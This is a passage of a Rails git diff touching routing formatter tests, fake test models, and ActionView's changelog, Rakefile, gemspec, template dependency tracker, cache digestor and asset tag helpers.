path = Path::Pattern.new "/:controller(/:action(.:format))"
- @router.routes.add_route nil, path, {}, {}, {}
+ @router.routes.add_route @app, path, {}, {}, {}
params = { :controller => "tasks", :format => nil }
extras = { :action => 'lol' }
@@ -321,7 +325,7 @@ module ActionDispatch
str = Router::Strexp.new("/", Hash[params], ['/', '.', '?'], true)
path = Path::Pattern.new str
- @router.routes.add_route nil, path, {}, {}, {}
+ @router.routes.add_route @app, path, {}, {}, {}
path, _ = @formatter.generate(:path_info, nil, Hash[params], {})
assert_equal '/', path
@@ -329,7 +333,7 @@ module ActionDispatch
def test_generate_calls_param_proc
path = Path::Pattern.new '/:controller(/:action)'
- @router.routes.add_route nil, path, {}, {}, {}
+ @router.routes.add_route @app, path, {}, {}, {}
parameterized = []
params = [ [:controller, "tasks"],
@@ -347,7 +351,7 @@ module ActionDispatch
def test_generate_id
path = Path::Pattern.new '/:controller(/:action)'
- @router.routes.add_route nil, path, {}, {}, {}
+ @router.routes.add_route @app, path, {}, {}, {}
path, params = @formatter.generate(
:path_info, nil, {:id=>1, :controller=>"tasks", :action=>"show"}, {})
@@ -357,18 +361,29 @@ module ActionDispatch
def test_generate_escapes
path = Path::Pattern.new '/:controller(/:action)'
- @router.routes.add_route nil, path, {}, {}, {}
+ @router.routes.add_route @app, path, {}, {}, {}
path, _ = @formatter.generate(:path_info,
nil, { :controller => "tasks",
:action => "a/b c+d",
}, {})
- assert_equal '/tasks/a/b%20c+d', path
+ assert_equal '/tasks/a%2Fb%20c+d', path
+ end
+
+ def test_generate_escapes_with_namespaced_controller
+ path = Path::Pattern.new '/:controller(/:action)'
+ @router.routes.add_route @app, path, {}, {}, {}
+
+ path, _ = @formatter.generate(:path_info,
+ nil, { :controller => "admin/tasks",
+ :action => "a/b c+d",
+ }, {})
+ assert_equal '/admin/tasks/a%2Fb%20c+d', path
end
def test_generate_extra_params
path = Path::Pattern.new '/:controller(/:action)'
- @router.routes.add_route nil, path, {}, {}, {}
+ @router.routes.add_route @app, path, {}, {}, {}
path, params = @formatter.generate(:path_info,
nil, { :id => 1,
@@ -382,7 +397,7 @@ module ActionDispatch
def test_generate_uses_recall_if_needed
path = Path::Pattern.new '/:controller(/:action(/:id))'
- @router.routes.add_route nil, path, {}, {}, {}
+ @router.routes.add_route @app, path, {}, {}, {}
path, params = @formatter.generate(:path_info,
nil,
@@ -394,7 +409,7 @@ module ActionDispatch
def test_generate_with_name
path = Path::Pattern.new '/:controller(/:action)'
- @router.routes.add_route nil, path, {}, {}, {}
+ @router.routes.add_route @app, path, {}, {}, {}
path, params = @formatter.generate(:path_info,
"tasks",
@@ -541,7 +556,7 @@ module ActionDispatch
def add_routes router, paths
paths.each do |path|
path = Path::Pattern.new path
- router.routes.add_route nil, path, {}, {}, {}
+ router.routes.add_route @app, path, {}, {}, {}
end
end
diff --git a/actionpack/test/lib/controller/fake_models.rb b/actionpack/test/lib/controller/fake_models.rb
index 82f38b5309..b8b51d86c2 100644
--- a/actionpack/test/lib/controller/fake_models.rb
+++ b/actionpack/test/lib/controller/fake_models.rb
@@ -28,12 +28,6 @@ class Customer < Struct.new(:name, :id)
end
end
-class BadCustomer < Customer
-end
-
-class GoodCustomer < Customer
-end
-
class ValidatedCustomer < Customer
def errors
if name =~ /Sikachu/i
@@ -102,88 +96,6 @@ class Comment
attr_accessor :body
end
-class Tag
- extend ActiveModel::Naming
- include ActiveModel::Conversion
-
- attr_reader :id
- attr_reader :post_id
- def initialize(id = nil, post_id = nil); @id, @post_id = id, post_id end
- def to_key; id ? [id] : nil end
- def save; @id = 1; @post_id = 1 end
- def persisted?; @id.present? end
- def to_param; @id; end
- def value
- @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
- end
-
- attr_accessor :relevances
- def relevances_attributes=(attributes); end
-
-end
-
-class CommentRelevance
- extend ActiveModel::Naming
- include ActiveModel::Conversion
-
- attr_reader :id
- attr_reader :comment_id
- def initialize(id = nil, comment_id = nil); @id, @comment_id = id, comment_id end
- def to_key; id ? [id] : nil end
- def save; @id = 1; @comment_id = 1 end
- def persisted?; @id.present? end
- def to_param; @id; end
- def value
- @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
- end
-end
-
-class Sheep
- extend ActiveModel::Naming
- include ActiveModel::Conversion
-
- attr_reader :id
- def to_key; id ? [id] : nil end
- def save; @id = 1 end
- def new_record?; @id.nil? end
- def name
- @id.nil? ? 'new sheep' : "sheep ##{@id}"
- end
-end
-
-
-class TagRelevance
- extend ActiveModel::Naming
- include ActiveModel::Conversion
-
- attr_reader :id
- attr_reader :tag_id
- def initialize(id = nil, tag_id = nil); @id, @tag_id = id, tag_id end
- def to_key; id ? [id] : nil end
- def save; @id = 1; @tag_id = 1 end
- def persisted?; @id.present? end
- def to_param; @id; end
- def value
- @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
- end
-end
-
-class Author < Comment
- attr_accessor :post
- def post_attributes=(attributes); end
-end
-
-class HashBackedAuthor < Hash
- extend ActiveModel::Naming
- include ActiveModel::Conversion
-
- def persisted?; false; end
-
- def name
- "hash backed author"
- end
-end
-
module Blog
def self.use_relative_model_naming?
true
@@ -199,21 +111,8 @@ module Blog
end
end
-class ArelLike
- def to_ary
- true
- end
- def each
- a = Array.new(2) { |id| Comment.new(id + 1) }
- a.each { |i| yield i }
- end
-end
-
class RenderJsonTestException < Exception
- def to_json(options = nil)
- return { :error => self.class.name, :message => self.to_s }.to_json
+ def as_json(options = nil)
+ { :error => self.class.name, :message => self.to_s }
end
end
-
-class Car < Struct.new(:color)
-end
diff --git a/actionpack/test/routing/helper_test.rb b/actionpack/test/routing/helper_test.rb
index a5588d95fa..0028aaa629 100644
--- a/actionpack/test/routing/helper_test.rb
+++ b/actionpack/test/routing/helper_test.rb
@@ -22,7 +22,7 @@ module ActionDispatch
x = Class.new {
include rs.url_helpers
}
- assert_raises ActionController::RoutingError do
+ assert_raises ActionController::UrlGenerationError do
x.new.pond_duck_path Duck.new
end
end
diff --git a/actionview/CHANGELOG.md b/actionview/CHANGELOG.md
index 543367a216..bedbf78172 100644
--- a/actionview/CHANGELOG.md
+++ b/actionview/CHANGELOG.md
@@ -1,61 +1,71 @@
-* Remove the deprecated `prompt` argument from `grouped_options_for_select`,
- pass in a `:prompt` hash option to use this feature.
+* Change `asset_path` to use File.join to create proper paths:
- *kennyj*
+ https://some.host.com//assets/some.js
-* Always escape the result of `link_to_unless` method.
+ becomes
+
+ https://some.host.com/assets/some.js
+
+ *Peter Schröder*
+
+* Change `favicon_link_tag` default mimetype from `image/vnd.microsoft.icon` to
+ `image/x-icon`.
Before:
- link_to_unless(true, '<b>Showing</b>', 'github.com')
- # => "<b>Showing</b>"
+ #=> favicon_link_tag 'myicon.ico'
+ <link href="/assets/myicon.ico" rel="shortcut icon" type="image/vnd.microsoft.icon" />
After:
- link_to_unless(true, '<b>Showing</b>', 'github.com')
- # => "&lt;b&gt;Showing&lt;/b&gt;"
+ #=> favicon_link_tag 'myicon.ico'
+ <link href="/assets/myicon.ico" rel="shortcut icon" type="image/x-icon" />
- *dtaniwaki*
+ *Geoffroy Lorieux*
-* Use a case insensitive URI Regexp for #asset_path.
+* Remove wrapping div with inline styles for hidden form fields.
- This fix a problem where the same asset path using different case are generating
- different URIs.
+ We are dropping HTML 4.01 and XHTML strict compliance since input tags directly
+ inside a form are valid HTML5, and the absense of inline styles help in validating
+ for Content Security Policy.
- Before:
+ *Joost Baaij*
- image_tag("HTTP://google.com")
- # => "<img alt=\"Google\" src=\"/assets/HTTP://google.com\" />"
- image_tag("http://google.com")
- # => "<img alt=\"Google\" src=\"http://google.com\" />"
+* `collection_check_boxes` respects `:index` option for the hidden filed name.
- After:
+ Fixes #14147.
- image_tag("HTTP://google.com")
- # => "<img alt=\"Google\" src=\"HTTP://google.com\" />"
- image_tag("http://google.com")
- # => "<img alt=\"Google\" src=\"http://google.com\" />"
+ *Vasiliy Ermolovich*
- *David Celis*
+* `date_select` helper with option `with_css_classes: true` does not overwrite other classes.
-* Element of the `collection_check_boxes` and `collection_radio_buttons` can
- optionally contain html attributes as the last element of the array.
+ *Izumi Wong-Horiuchi*
+
+* `number_to_percentage` does not crash with `Float::NAN` or `Float::INFINITY`
+ as input.
+
+ Fixes #14405.
+
+ *Yves Senn*
+
+* Add `include_hidden` option to `collection_check_boxes` helper.
*Vasiliy Ermolovich*
-* Update the HTML `BOOLEAN_ATTRIBUTES` in `ActionView::Helpers::TagHelper`
- to conform to the latest HTML 5.1 spec. Add attributes `allowfullscreen`,
- `default`, `inert`, `sortable`, `truespeed`, `typemustmatch`. Fix attribute
- `seamless` (previously misspelled `seemless`).
+* Fixed a problem where the default options for the `button_tag` helper is not
+ applied correctly.
+
+ Fixes #14254.
- *Alex Peattie*
+ *Sergey Prikhodko*
-* Fix an issue where partials with a number in the filename weren't being digested for cache dependencies.
+* Take variants into account when calculating template digests in ActionView::Digestor.
- *Bryan Ricker*
+ The arguments to ActionView::Digestor#digest are now being passed as a hash
+ to support variants and allow more flexibility in the future. The support for
+ regular (required) arguments is deprecated and will be removed in Rails 5.0 or later.
-* First release, ActionView extracted from ActionPack
+ *Piotr Chmolowski, Łukasz Strzałkowski*
- *Piotr Sarnacki*, *Łukasz Strzałkowski*
-Please check [4-0-stable (ActionPack's CHANGELOG)](https://github.com/rails/rails/blob/4-0-stable/actionpack/CHANGELOG.md) for previous changes.
+Please check [4-1-stable](https://github.com/rails/rails/blob/4-1-stable/actionview/CHANGELOG.md) for previous changes.
diff --git a/actionview/MIT-LICENSE b/actionview/MIT-LICENSE
index 5c668d9624..d58dd9ed9b 100644
--- a/actionview/MIT-LICENSE
+++ b/actionview/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2013 David Heinemeier Hansson
+Copyright (c) 2004-2014 David Heinemeier Hansson
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
diff --git a/actionview/README.rdoc b/actionview/README.rdoc
index 09bbfdae0b..35f805346c 100644
--- a/actionview/README.rdoc
+++ b/actionview/README.rdoc
@@ -1,6 +1,9 @@
= Action View
-
+Action View is a framework for handling view template lookup and rendering, and provides
+view helpers that assist when building HTML forms, Atom feeds and more.
+Template formats that Action View handles are ERB (embedded Ruby, typically
+used to inline short Ruby snippets inside HTML), and XML Builder.
== Download and installation
diff --git a/actionview/RUNNING_UNIT_TESTS b/actionview/RUNNING_UNIT_TESTS.rdoc
index a0c35e1810..104b3e288d 100644
--- a/actionview/RUNNING_UNIT_TESTS
+++ b/actionview/RUNNING_UNIT_TESTS.rdoc
@@ -18,7 +18,7 @@ which can be further narrowed down to one test:
== Dependency on Active Record and database setup
-Test cases in the test/active_record/ directory depend on having
+Test cases in the test/activerecord/ directory depend on having
activerecord and sqlite installed. If Active Record is not in
actionview/../activerecord directory, or the sqlite rubygem is not installed,
these tests are skipped.
diff --git a/actionview/Rakefile b/actionview/Rakefile
index 1cbd35cda4..d56fe9ea76 100644
--- a/actionview/Rakefile
+++ b/actionview/Rakefile
@@ -1,5 +1,4 @@
require 'rake/testtask'
-require 'rake/packagetask'
require 'rubygems/package_task'
desc "Default Task"
@@ -8,35 +7,39 @@ task :default => :test
# Run the unit tests
desc "Run all unit tests"
-task :test => [:test_action_view, :test_active_record_integration]
-
-Rake::TestTask.new(:test_action_view) do |t|
- t.libs << 'test'
- t.test_files = Dir.glob('test/template/**/*_test.rb').sort
- t.warning = true
- t.verbose = true
-end
+task :test => ["test:template", "test:integration:action_pack", "test:integration:active_record"]
namespace :test do
task :isolated do
- ruby = File.join(*RbConfig::CONFIG.values_at('bindir', 'RUBY_INSTALL_NAME'))
- Dir.glob("test/{active_record,template}/**/*_test.rb").all? do |file|
- sh(ruby, '-w', '-Ilib:test', file)
+ Dir.glob("test/{actionpack,activerecord,template}/**/*_test.rb").all? do |file|
+ sh(Gem.ruby, '-w', '-Ilib:test', file)
end or raise "Failures"
end
Rake::TestTask.new(:template) do |t|
t.libs << 'test'
- t.pattern = 'test/template/**/*.rb'
+ t.test_files = Dir.glob('test/template/**/*_test.rb').sort
+ t.warning = true
+ t.verbose = true
end
-end
-desc 'ActiveRecord Integration Tests'
-Rake::TestTask.new(:test_active_record_integration) do |t|
- t.libs << 'test'
- t.test_files = Dir.glob("test/activerecord/*_test.rb")
- t.warning = true
- t.verbose = true
+ namespace :integration do
+ desc 'ActiveRecord Integration Tests'
+ Rake::TestTask.new(:active_record) do |t|
+ t.libs << 'test'
+ t.test_files = Dir.glob("test/activerecord/*_test.rb")
+ t.warning = true
+ t.verbose = true
+ end
+
+ desc 'ActionPack Integration Tests'
+ Rake::TestTask.new(:action_pack) do |t|
+ t.libs << 'test'
+ t.test_files = Dir.glob("test/actionpack/**/*_test.rb")
+ t.warning = true
+ t.verbose = true
+ end
+ end
end
spec = eval(File.read('actionview.gemspec'))
diff --git a/actionview/actionview.gemspec b/actionview/actionview.gemspec
index 87cb568300..e45dd04225 100644
--- a/actionview/actionview.gemspec
+++ b/actionview/actionview.gemspec
@@ -5,7 +5,7 @@ Gem::Specification.new do |s|
s.name = 'actionview'
s.version = version
s.summary = 'Rendering framework putting the V in MVC (part of Rails).'
- s.description = ''
+ s.description = 'Simple, battle-tested conventions and helpers for building web pages.'
s.required_ruby_version = '>= 1.9.3'
@@ -20,10 +20,10 @@ Gem::Specification.new do |s|
s.requirements << 'none'
s.add_dependency 'activesupport', version
- s.add_dependency 'activemodel', version
- s.add_dependency 'builder', '~> 3.1.0'
+ s.add_dependency 'builder', '~> 3.1'
s.add_dependency 'erubis', '~> 2.7.0'
- s.add_development_dependency 'actionpack', version
+ s.add_development_dependency 'actionpack', version
+ s.add_development_dependency 'activemodel', version
end
diff --git a/actionview/lib/action_view.rb b/actionview/lib/action_view.rb
index 8def4ba7c5..50712e0830 100644
--- a/actionview/lib/action_view.rb
+++ b/actionview/lib/action_view.rb
@@ -1,5 +1,5 @@
#--
-# Copyright (c) 2004-2013 David Heinemeier Hansson
+# Copyright (c) 2004-2014 David Heinemeier Hansson
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
@@ -23,10 +23,13 @@
require 'active_support'
require 'active_support/rails'
+require 'action_view/version'
module ActionView
extend ActiveSupport::Autoload
+ ENCODING_FLAG = '#.*coding[:=]\s*(\S+)[ \t]*'
+
eager_autoload do
autoload :Base
autoload :Context
@@ -34,10 +37,13 @@ module ActionView
autoload :Digestor
autoload :Helpers
autoload :LookupContext
+ autoload :Layouts
autoload :PathSet
autoload :RecordIdentifier
+ autoload :Rendering
autoload :RoutingUrlFor
autoload :Template
+ autoload :ViewPaths
autoload_under "renderer" do
autoload :Renderer
@@ -50,7 +56,6 @@ module ActionView
autoload_at "action_view/template/resolver" do
autoload :Resolver
autoload :PathResolver
- autoload :FileSystemResolver
autoload :OptimizedFileSystemResolver
autoload :FallbackFileSystemResolver
end
@@ -77,11 +82,11 @@ module ActionView
autoload :TestCase
- ENCODING_FLAG = '#.*coding[:=]\s*(\S+)[ \t]*'
-
def self.eager_load!
super
+ ActionView::Helpers.eager_load!
ActionView::Template.eager_load!
+ HTML.eager_load!
end
end
diff --git a/actionview/lib/action_view/base.rb b/actionview/lib/action_view/base.rb
index 08253de3f4..455ce531ae 100644
--- a/actionview/lib/action_view/base.rb
+++ b/actionview/lib/action_view/base.rb
@@ -1,7 +1,11 @@
require 'active_support/core_ext/module/attr_internal'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/ordered_options'
require 'action_view/log_subscriber'
+require 'action_view/helpers'
+require 'action_view/context'
+require 'action_view/template'
+require 'action_view/lookup_context'
module ActionView #:nodoc:
# = Action View Base
@@ -149,6 +153,10 @@ module ActionView #:nodoc:
# Specify default_formats that can be rendered.
cattr_accessor :default_formats
+ # Specify whether an error should be raised for missing translations
+ cattr_accessor :raise_on_missing_translations
+ @@raise_on_missing_translations = false
+
class_attribute :_routes
class_attribute :logger
diff --git a/actionview/lib/action_view/dependency_tracker.rb b/actionview/lib/action_view/dependency_tracker.rb
index b2e8334077..0ccf2515c5 100644
--- a/actionview/lib/action_view/dependency_tracker.rb
+++ b/actionview/lib/action_view/dependency_tracker.rb
@@ -1,7 +1,7 @@
require 'thread_safe'
module ActionView
- class DependencyTracker
+ class DependencyTracker # :nodoc:
@trackers = ThreadSafe::Cache.new
def self.find_dependencies(name, template)
@@ -23,24 +23,52 @@ module ActionView
@trackers.delete(handler)
end
- class ERBTracker
+ class ERBTracker # :nodoc:
EXPLICIT_DEPENDENCY = /# Template Dependency: (\S+)/
+ # A valid ruby identifier - suitable for class, method and specially variable names
+ IDENTIFIER = /
+ [[:alpha:]_] # at least one uppercase letter, lowercase letter or underscore
+ [[:word:]]* # followed by optional letters, numbers or underscores
+ /x
+
+ # Any kind of variable name. e.g. @instance, @@class, $global or local.
+ # Possibly following a method call chain
+ VARIABLE_OR_METHOD_CHAIN = /
+ (?:\$|@{1,2})? # optional global, instance or class variable indicator
+ (?:#{IDENTIFIER}\.)* # followed by an optional chain of zero-argument method calls
+ (?<dynamic>#{IDENTIFIER}) # and a final valid identifier, captured as DYNAMIC
+ /x
+
+ # A simple string literal. e.g. "School's out!"
+ STRING = /
+ (?<quote>['"]) # an opening quote
+ (?<static>.*?) # with anything inside, captured as STATIC
+ \k<quote> # and a matching closing quote
+ /x
+
+ # Part of any hash containing the :partial key
+ PARTIAL_HASH_KEY = /
+ (?:\bpartial:|:partial\s*=>) # partial key in either old or new style hash syntax
+ \s* # followed by optional spaces
+ /x
+
# Matches:
- # render partial: "comments/comment", collection: commentable.comments
- # render "comments/comments"
- # render 'comments/comments'
- # render('comments/comments')
+ # partial: "comments/comment", collection: @all_comments => "comments/comment"
+ # (object: @single_comment, partial: "comments/comment") => "comments/comment"
#
- # render(@topic) => render("topics/topic")
- # render(topics) => render("topics/topic")
- # render(message.topics) => render("topics/topic")
- RENDER_DEPENDENCY = /
- render\s* # render, followed by optional whitespace
- \(? # start an optional parenthesis for the render call
- (partial:|:partial\s+=>)?\s* # naming the partial, used with collection -- 1st capture
- ([@a-z"'][@\w\/\."']+) # the template name itself -- 2nd capture
- /x
+ # "comments/comments"
+ # 'comments/comments'
+ # ('comments/comments')
+ #
+ # (@topic) => "topics/topic"
+ # topics => "topics/topic"
+ # (message.topics) => "topics/topic"
+ RENDER_ARGUMENTS = /\A
+ (?:\s*\(?\s*) # optional opening paren surrounded by spaces
+ (?:.*?#{PARTIAL_HASH_KEY})? # optional hash, up to the partial key declaration
+ (?:#{STRING}|#{VARIABLE_OR_METHOD_CHAIN}) # finally, the dependency name of interest
+ /xm
def self.call(name, template)
new(name, template).dependencies
@@ -68,19 +96,33 @@ module ActionView
end
def render_dependencies
- source.scan(RENDER_DEPENDENCY).
- collect(&:second).uniq.
+ render_dependencies = []
+ render_calls = source.split(/\brender\b/).drop(1)
- # render(@topic) => render("topics/topic")
- # render(topics) => render("topics/topic")
- # render(message.topics) => render("topics/topic")
- collect { |name| name.sub(/\A@?([a-z_]+\.)*([a-z_]+)\z/) { "#{$2.pluralize}/#{$2.singularize}" } }.
+ render_calls.each do |arguments|
+ arguments.scan(RENDER_ARGUMENTS) do
+ add_dynamic_dependency(render_dependencies, Regexp.last_match[:dynamic])
+ add_static_dependency(render_dependencies, Regexp.last_match[:static])
+ end
+ end
- # render("headline") => render("message/headline")
- collect { |name| name.include?("/") ? name : "#{directory}/#{name}" }.
+ render_dependencies.uniq
+ end
+
+ def add_dynamic_dependency(dependencies, dependency)
+ if dependency
+ dependencies << "#{dependency.pluralize}/#{dependency.singularize}"
+ end
+ end
- # replace quotes from string renders
- collect { |name| name.gsub(/["']/, "") }
+ def add_static_dependency(dependencies, dependency)
+ if dependency
+ if dependency.include?('/')
+ dependencies << dependency
+ else
+ dependencies << "#{directory}/#{dependency}"
+ end
+ end
end
def explicit_dependencies
diff --git a/actionview/lib/action_view/digestor.rb b/actionview/lib/action_view/digestor.rb
index 9324a1ac50..72d79735ae 100644
--- a/actionview/lib/action_view/digestor.rb
+++ b/actionview/lib/action_view/digestor.rb
@@ -1,31 +1,69 @@
require 'thread_safe'
require 'action_view/dependency_tracker'
+require 'monitor'
module ActionView
class Digestor
cattr_reader(:cache)
- @@cache = ThreadSafe::Cache.new
-
- def self.digest(name, format, finder, options = {})
- cache_key = [name, format] + Array.wrap(options[:dependencies])
- @@cache[cache_key.join('.')] ||= begin
- klass = options[:partial] || name.include?("/_") ? PartialDigestor : Digestor
- klass.new(name, format, finder, options).digest
+ @@cache = ThreadSafe::Cache.new
+ @@digest_monitor = Monitor.new
+
+ class << self
+ # Supported options:
+ #
+ # * <tt>name</tt> - Template name
+ # * <tt>finder</tt> - An instance of ActionView::LookupContext
+ # * <tt>dependencies</tt> - An array of dependent views
+ # * <tt>partial</tt> - Specifies whether the template is a partial
+ def digest(options)
+ options.assert_valid_keys(:name, :finder, :dependencies, :partial)
+
+ cache_key = ([ options[:name], options[:finder].details_key.hash ].compact + Array.wrap(options[:dependencies])).join('.')
+
+ # this is a correctly done double-checked locking idiom
+ # (ThreadSafe::Cache's lookups have volatile semantics)
+ @@cache[cache_key] || @@digest_monitor.synchronize do
+ @@cache.fetch(cache_key) do # re-check under lock
+ compute_and_store_digest(cache_key, options)
+ end
+ end
end
+
+ private
+ def compute_and_store_digest(cache_key, options) # called under @@digest_monitor lock
+ klass = if options[:partial] || options[:name].include?("/_")
+ # Prevent re-entry or else recursive templates will blow the stack.
+ # There is no need to worry about other threads seeing the +false+ value,
+ # as they will then have to wait for this thread to let go of the @@digest_monitor lock.
+ pre_stored = @@cache.put_if_absent(cache_key, false).nil? # put_if_absent returns nil on insertion
+ PartialDigestor
+ else
+ Digestor
+ end
+
+ digest = klass.new(options).digest
+ # Store the actual digest if config.cache_template_loading is true
+ @@cache[cache_key] = stored_digest = digest if ActionView::Resolver.caching?
+ digest
+ ensure
+ # something went wrong or ActionView::Resolver.caching? is false, make sure not to corrupt the @@cache
+ @@cache.delete_pair(cache_key, false) if pre_stored && !stored_digest
+ end
end
- attr_reader :name, :format, :finder, :options
+ attr_reader :name, :finder, :options
- def initialize(name, format, finder, options={})
- @name, @format, @finder, @options = name, format, finder, options
+ def initialize(options)
+ @name, @finder = options.values_at(:name, :finder)
+ @options = options.except(:name, :finder)
end
def digest
Digest::MD5.hexdigest("#{source}-#{dependency_digest}").tap do |digest|
- logger.try :info, "Cache digest for #{name}.#{format}: #{digest}"
+ logger.try :info, " Cache digest for #{template.inspect}: #{digest}"
end
rescue ActionView::MissingTemplate
- logger.try :error, "Couldn't find template for digesting: #{name}.#{format}"
+ logger.try :error, " Couldn't find template for digesting: #{name}"
''
end
@@ -37,13 +75,12 @@ module ActionView
def nested_dependencies
dependencies.collect do |dependency|
- dependencies = PartialDigestor.new(dependency, format, finder).nested_dependencies
+ dependencies = PartialDigestor.new(name: dependency, finder: finder).nested_dependencies
dependencies.any? ? { dependency => dependencies } : dependency
end
end
private
-
def logger
ActionView::Base.logger
end
@@ -57,7 +94,7 @@ module ActionView
end
def template
- @template ||= finder.find(logical_name, [], partial?, formats: [ format ])
+ @template ||= finder.disable_cache { finder.find(logical_name, [], partial?) }
end
def source
@@ -66,7 +103,7 @@ module ActionView
def dependency_digest
template_digests = dependencies.collect do |template_name|
- Digestor.digest(template_name, format, finder, partial: true)
+ Digestor.digest(name: template_name, finder: finder, partial: true)
end
(template_digests + injected_dependencies).join("-")
diff --git a/actionview/lib/action_view/gem_version.rb b/actionview/lib/action_view/gem_version.rb
new file mode 100644
index 0000000000..9266e55c47
--- /dev/null
+++ b/actionview/lib/action_view/gem_version.rb
@@ -0,0 +1,15 @@
+module ActionView
+ # Returns the version of the currently loaded ActionView as a <tt>Gem::Version</tt>
+ def self.gem_version
+ Gem::Version.new VERSION::STRING
+ end
+
+ module VERSION
+ MAJOR = 4
+ MINOR = 2
+ TINY = 0
+ PRE = "alpha"
+
+ STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+ end
+end
diff --git a/actionview/lib/action_view/helpers.rb b/actionview/lib/action_view/helpers.rb
index 8a78685ae1..787e9d67b2 100644
--- a/actionview/lib/action_view/helpers.rb
+++ b/actionview/lib/action_view/helpers.rb
@@ -27,6 +27,12 @@ module ActionView #:nodoc:
autoload :TextHelper
autoload :TranslationHelper
autoload :UrlHelper
+ autoload :Tags
+
+ def self.eager_load!
+ super
+ Tags.eager_load!
+ end
extend ActiveSupport::Concern
diff --git a/actionview/lib/action_view/helpers/active_model_helper.rb b/actionview/lib/action_view/helpers/active_model_helper.rb
index 901f433c70..d5222e3616 100644
--- a/actionview/lib/action_view/helpers/active_model_helper.rb
+++ b/actionview/lib/action_view/helpers/active_model_helper.rb
@@ -1,4 +1,4 @@
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/core_ext/enumerable'
module ActionView
diff --git a/actionview/lib/action_view/helpers/asset_tag_helper.rb b/actionview/lib/action_view/helpers/asset_tag_helper.rb
index 2b3a3c6a29..824cdaa45e 100644
--- a/actionview/lib/action_view/helpers/asset_tag_helper.rb
+++ b/actionview/lib/action_view/helpers/asset_tag_helper.rb
@@ -26,7 +26,8 @@ module ActionView
# to <tt>assets/javascripts</tt>, full paths are assumed to be relative to the document
# root. Relative paths are idiomatic, use absolute paths only when needed.
#
- # When passing paths, the ".js" extension is optional.
+ # When passing paths, the ".js" extension is optional. If you do not want ".js"
+ # appended to the path <tt>extname: false</tt> can be set on the options.
#
# You can modify the HTML attributes of the script tag by passing a hash as the
# last argument.
@@ -37,6 +38,9 @@ module ActionView
# javascript_include_tag "xmlhr"
# # => <script src="/assets/xmlhr.js?1284139606"></script>
#
+ # javascript_include_tag "template.jst", extname: false
+ # # => <script src="/assets/template.jst?1284139606"></script>
+ #
# javascript_include_tag "xmlhr.js"
# # => <script src="/assets/xmlhr.js?1284139606"></script>
#
@@ -51,8 +55,7 @@ module ActionView
# # => <script src="http://www.example.com/xmlhr.js"></script>
def javascript_include_tag(*sources)
options = sources.extract_options!.stringify_keys
- path_options = options.extract!('protocol').symbolize_keys
-
+ path_options = options.extract!('protocol', 'extname').symbolize_keys
sources.uniq.map { |source|
tag_options = {
"src" => path_to_javascript(source, path_options)
@@ -100,7 +103,7 @@ module ActionView
}.join("\n").html_safe
end
- # Returns a link tag that browsers and news readers can use to auto-detect
+ # Returns a link tag that browsers and feed readers can use to auto-detect
# an RSS or Atom feed. The +type+ can either be <tt>:rss</tt> (default) or
# <tt>:atom</tt>. Control the link options in url_for format using the
# +url_options+. You can modify the LINK tag itself in +tag_options+.
@@ -139,30 +142,37 @@ module ActionView
)
end
- # Returns a link loading a favicon file. You may specify a different file
- # in the first argument. The helper accepts an additional options hash where
- # you can override "rel" and "type".
+ # Returns a link tag for a favicon managed by the asset pipeline.
#
- # ==== Options
+ # If a page has no link like the one generated by this helper, browsers
+ # ask for <tt>/favicon.ico</tt> automatically, and cache the file if the
+ # request succeeds. If the favicon changes it is hard to get it updated.
#
- # * <tt>:rel</tt> - Specify the relation of this link, defaults to 'shortcut icon'
- # * <tt>:type</tt> - Override the auto-generated mime type, defaults to 'image/vnd.microsoft.icon'
+ # To have better control applications may let the asset pipeline manage
+ # their favicon storing the file under <tt>app/assets/images</tt>, and
+ # using this helper to generate its corresponding link tag.
#
- # ==== Examples
+ # The helper gets the name of the favicon file as first argument, which
+ # defaults to "favicon.ico", and also supports +:rel+ and +:type+ options
+ # to override their defaults, "shortcut icon" and "image/x-icon"
+ # respectively:
#
- # favicon_link_tag '/myicon.ico'
- # # => <link href="/assets/myicon.ico" rel="shortcut icon" type="image/vnd.microsoft.icon" />
+ # favicon_link_tag
+ # # => <link href="/assets/favicon.ico" rel="shortcut icon" type="image/x-icon" />
#
- # Mobile Safari looks for a different <link> tag, pointing to an image that
- # will be used if you add the page to the home screen of an iPod Touch, iPhone, or iPad.
+ # favicon_link_tag 'myicon.ico'
+ # # => <link href="/assets/myicon.ico" rel="shortcut icon" type="image/x-icon" />
+ #
+ # Mobile Safari looks for a different link tag, pointing to an image that
+ # will be used if you add the page to the home screen of an iOS device.
# The following call would generate such a tag:
#
- # favicon_link_tag '/mb-icon.png', rel: 'apple-touch-icon', type: 'image/png'
+ # favicon_link_tag 'mb-icon.png', rel: 'apple-touch-icon', type: 'image/png'
# # => <link href="/assets/mb-icon.png" rel="apple-touch-icon" type="image/png" />
def favicon_link_tag(source='favicon.ico', options={})
tag('link', {
:rel => 'shortcut icon',
- :type => 'image/vnd.microsoft.icon',
+ :type => 'image/x-icon',
:href => path_to_image(source)
}.merge!(options.symbolize_keys))
end
@@ -173,7 +183,7 @@ module ActionView
# ==== Options
#
# You can add HTML attributes using the +options+. The +options+ supports
- # three additional keys for convenience and conformance:
+ # two additional keys for convenience and conformance:
#
# * <tt>:alt</tt> - If no alt text is given, the file name part of the
# +source+ is used (capitalized and without the extension)
@@ -204,11 +214,7 @@ module ActionView
options[:alt] = options.fetch(:alt){ image_alt(src) }
end
- if size = options.delete(:size)
- options[:width], options[:height] = size.split("x") if size =~ %r{\A\d+x\d+\z}
- options[:width] = options[:height] = size if size =~ %r{\A\d+\z}
- end
-
+ options[:width], options[:height] = extract_dimensions(options.delete(:size)) if options[:size]
tag("img", options)
end
@@ -221,14 +227,14 @@ module ActionView
#
# ==== Examples
#
- # image_tag('rails.png')
- # # => <img alt="Rails" src="/assets/rails.png" />
+ # image_alt('rails.png')
+ # # => Rails
#
- # image_tag('hyphenated-file-name.png')
- # # => <img alt="Hyphenated file name" src="/assets/hyphenated-file-name.png" />
